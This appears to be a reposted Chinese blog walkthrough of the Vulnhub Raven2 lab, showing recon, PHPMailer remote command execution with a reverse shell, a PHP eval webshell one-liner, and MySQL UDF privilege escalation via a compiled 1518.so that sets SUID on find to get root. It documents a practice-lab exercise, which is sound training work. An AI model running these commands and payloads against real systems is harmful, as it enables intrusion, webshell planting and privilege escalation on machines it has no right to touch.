MySQL之UDF提权复现

2024-09-03 16:20
文章标签 mysql 复现 database 提权 udf

本文主要是介绍MySQL之UDF提权复现,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

什么是UDF:

UDF(Userfined function)用户自定义函数,是MySQL的一个扩展接口,用户通过自定义函数可以实现在 MySQL 中无法方便实现的功能,其添加的新函数都可以在 SQL 语句中调用。

提权条件:

  • 知道MySQL用户名和密码,可以登录
  • MySQL有写入文件权限,即 secure_file_priv 的值为空

注意:使用 UDF 提权是在没有获取到 webshell 的前提下,如果获取到了就没有必要进行提权了,因为 udf 提权后就是让你获取目标主机当前用户的权限,而 webshell 也是获取到目标主机当前用户的权限。

如何使用UDF提权

  • MySQL版本 >= 5.1版本:udf.dll(udf.so)文件必须放置于MySQL安装目录下的 lib\plugin 文件夹下

  • MySQL版本 < 5.1版本:udf.dll 文件放置于 c:\windows 或者 c:\system32

如果目录不存在则利用 NTFS 数据流创建文件目录

udf提权可以用于 windows 系统(udf.dll)也可以用于linux平台(udf.so)。但 udf 提权基本上用于 windows 系统,linux系统中 mysql版本 < 5.1 udf.so 该放哪里网上查找也没有得到结果。

靶场复现

通过 vulnhub 下载靶场镜像

靶机地址:https://download.vulnhub.com/raven/Raven2.ova

  • 攻击机kali(192.168.111.129)
  • 靶机Raven2(192.168.111.132)
信息收集

nmap扫描端口开放情况

 nmap 192.168.111.132 -sV -p- -Pn

在这里插入图片描述
发现开放了22,80,111,58686端口,操作系统为Linux。

访问80端口:
在这里插入图片描述
dirsearch 扫描一下目录:
在这里插入图片描述
发现靶机是 wordpress (可以用wpscan扫描有没有wordpress漏洞)。

此外还发现另外一个目录/vendor目录,访问目录发现存在信息泄露

在这里插入图片描述
通过 README.md 文件得知为 phpmailer,百度 phpmailer 知道是一个php发送邮件的程序,且版本小于 5.2.18 存在漏洞远程命令执行漏洞,查看当前 version 版本为 5.2.16
在这里插入图片描述

phpmailer漏洞利用

使用 python 脚本,复制脚本到桌面,将 target 改为目标IP,后面拼接 contact.php(该文件应该是PHPMailer服务接口),backdoor 为生成的后门文件,payload 改为 kali 的 ip 和监听的端口,email那把路径改为目标的网站根目录,可以在 /vendor/PATH 中找到。
在这里插入图片描述
修改完成后执行。

 python 40974.py  

在这里插入图片描述
先开启 nc 监听接收shell,然后浏览器访问生成的后门文件,终端回显,getshell成功。(这里后门文件名应该有限制,默认生成不了,改为1.php后成功了)
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
执行 whoami 发现为 www-date 权限

使用 python 执行交互式 shell

python -c 'import pty;pty.spawn("/bin/bash")'

也可以写一句话用菜刀蚁剑连接方便操作

echo '<?php @eval($_POST['s']);?>' >2.php

进入wordpress目录内查看wp的配置文件wp-config.php,发现数据库用户名与密码。
在这里插入图片描述
账号 root,密码 R@v3nSecurity

使用得到的用户名密码登录mysql

mysql -uroot -pR@v3nSecurity

在这里插入图片描述
在user表中发现了其他用户名与密码,但是加密的密码没有破解出来。所以换个思路尝试下UDF提权。

MySQL-UDF提权利用

首先查找漏洞,并下载漏洞利用脚本1518.c

searchsploit udfsearchsploit udf -m 1518.c

在这里插入图片描述
下载 udf 提权脚本,在 kali 使用 gcc 编译成 Linux 所需 udf 提权的so文件。

gcc -g -c 1518.cgcc -g -shared -o 1518.so 1518.o

将编译后的1518.so上传到靶机 /tmp 目录内。

python3 -m http.server 8888 wget 192.168.111.129:8888/1518.so

在这里插入图片描述
登录 mysql 切换数据库 wordpress 并创建新表 foo。

create table foo(line blob); #创建数据表insert into foo values(load_file('/tmp/1518.so')); #读取 1518.so 并将其保存在表foo中select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
#查询刚才添加的数据,保存到/usr/lib/mysql/plugin/1518.so文件(mysql存放自定义函数的地方)create function do_system returns integer soname '1518.so';
#加载 1518.so 函数文件用来创建自定义函数,类型是integer,soname 别名 select * from mysql.func; #查询函数是否创建成功select do_system('chmod u+s /usr/bin/find'); #调用自定义函数do_system赋予find命令suid权限。

在这里插入图片描述

select do_system('chmod u+s /usr/bin/find'); #调用自定义函数do_system赋予find命令suid权限。

在这里插入图片描述
准备工作完成后退出数据库,使用find命令进行提权。

mysql> quit
​
find / -exec "/bin/sh" \;
#find /:从根目录开始查找。
#-exec:表示对找到的每个文件执行后面的命令。
#"/bin/sh":这是要执行的命令,即启动一个新的 shell 实例。
#\;:表示 -exec 命令的结束。

在这里插入图片描述
根据结果可以看到提权成功

这篇关于MySQL之UDF提权复现的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1133429

相关文章

MySQL中EXISTS与IN用法使用与对比分析

《MySQL中EXISTS与IN用法使用与对比分析》在MySQL中,EXISTS和IN都用于子查询中根据另一个查询的结果来过滤主查询的记录,本文将基于工作原理、效率和应用场景进行全面对比... 目录一、基本用法详解1. IN 运算符2. EXISTS 运算符二、EXISTS 与 IN 的选择策略三、性能对比

MySQL常用字符串函数示例和场景介绍

《MySQL常用字符串函数示例和场景介绍》MySQL提供了丰富的字符串函数帮助我们高效地对字符串进行处理、转换和分析,本文我将全面且深入地介绍MySQL常用的字符串函数,并结合具体示例和场景,帮你熟练... 目录一、字符串函数概述1.1 字符串函数的作用1.2 字符串函数分类二、字符串长度与统计函数2.1

SQL Server跟踪自动统计信息更新实战指南

《SQLServer跟踪自动统计信息更新实战指南》本文详解SQLServer自动统计信息更新的跟踪方法,推荐使用扩展事件实时捕获更新操作及详细信息,同时结合系统视图快速检查统计信息状态,重点强调修... 目录SQL Server 如何跟踪自动统计信息更新:深入解析与实战指南 核心跟踪方法1️⃣ 利用系统目录

MySQL 内存使用率常用分析语句

《MySQL内存使用率常用分析语句》用户整理了MySQL内存占用过高的分析方法,涵盖操作系统层确认及数据库层bufferpool、内存模块差值、线程状态、performance_schema性能数据... 目录一、 OS层二、 DB层1. 全局情况2. 内存占js用详情最近连续遇到mysql内存占用过高导致

Mysql中设计数据表的过程解析

《Mysql中设计数据表的过程解析》数据库约束通过NOTNULL、UNIQUE、DEFAULT、主键和外键等规则保障数据完整性,自动校验数据,减少人工错误,提升数据一致性和业务逻辑严谨性,本文介绍My... 目录1.引言2.NOT NULL——制定某列不可以存储NULL值2.UNIQUE——保证某一列的每一

解密SQL查询语句执行的过程

《解密SQL查询语句执行的过程》文章讲解了SQL语句的执行流程,涵盖解析、优化、执行三个核心阶段,并介绍执行计划查看方法EXPLAIN,同时提出性能优化技巧如合理使用索引、避免SELECT*、JOIN... 目录1. SQL语句的基本结构2. SQL语句的执行过程3. SQL语句的执行计划4. 常见的性能优

SQL Server 中的 WITH (NOLOCK) 示例详解

《SQLServer中的WITH(NOLOCK)示例详解》SQLServer中的WITH(NOLOCK)是一种表提示,等同于READUNCOMMITTED隔离级别,允许查询在不获取共享锁的情... 目录SQL Server 中的 WITH (NOLOCK) 详解一、WITH (NOLOCK) 的本质二、工作

MySQL 强制使用特定索引的操作

《MySQL强制使用特定索引的操作》MySQL可通过FORCEINDEX、USEINDEX等语法强制查询使用特定索引,但优化器可能不采纳,需结合EXPLAIN分析执行计划,避免性能下降,注意版本差异... 目录1. 使用FORCE INDEX语法2. 使用USE INDEX语法3. 使用IGNORE IND

SQL Server安装时候没有中文选项的解决方法

《SQLServer安装时候没有中文选项的解决方法》用户安装SQLServer时界面全英文,无中文选项,通过修改安装设置中的国家或地区为中文中国,重启安装程序后界面恢复中文,解决了问题,对SQLSe... 你是不是在安装SQL Server时候发现安装界面和别人不同,并且无论如何都没有中文选项?这个问题也

2025版mysql8.0.41 winx64 手动安装详细教程

《2025版mysql8.0.41winx64手动安装详细教程》本文指导Windows系统下MySQL安装配置,包含解压、设置环境变量、my.ini配置、初始化密码获取、服务安装与手动启动等步骤,... 目录一、下载安装包二、配置环境变量三、安装配置四、启动 mysql 服务,修改密码一、下载安装包安装地